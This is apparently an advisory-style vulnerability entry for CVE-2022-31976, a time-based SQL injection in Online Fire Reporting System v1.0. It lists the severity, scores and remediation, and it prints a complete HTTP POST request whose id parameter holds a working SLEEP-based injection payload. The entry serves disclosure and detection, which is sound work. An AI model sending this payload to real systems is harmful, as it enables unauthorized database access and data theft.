🔙 목록으로 돌아가기

CVE-2022-31976: Online Fire Reporting System v1.0 - SQL injection

TitleOnline Fire Reporting System v1.0 - SQL injection
Authortheamanrawat
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
RemediationTo remediate this vulnerability, ensure that all user-supplied input is properly validated and sanitized before being used in SQL queries.
CVSS Score9.8
EPSS Score0.41622
CVE IDCVE-2022-31976
CWE IDCWE-89
Tags time-based-sqli cve cve2022 sqli online-fire-reporting online_fire_reporting_system_project vuln

🔍 Vulnerability Description

Online Fire Reporting System v1.0 is vulnerable to SQL Injection via /ofrs/classes/Master.php?f=delete_request.

🌐 HTTP Request

POST /classes/Master.php?f=delete_request HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.10 Safari/605.1.15
Connection: close
Content-Length: 67
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

id='+AND+(SELECT+7774+FROM+(SELECT(SLEEP(6)))dPPt)+AND+'rogN'='rogN

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-31976.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-31976.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A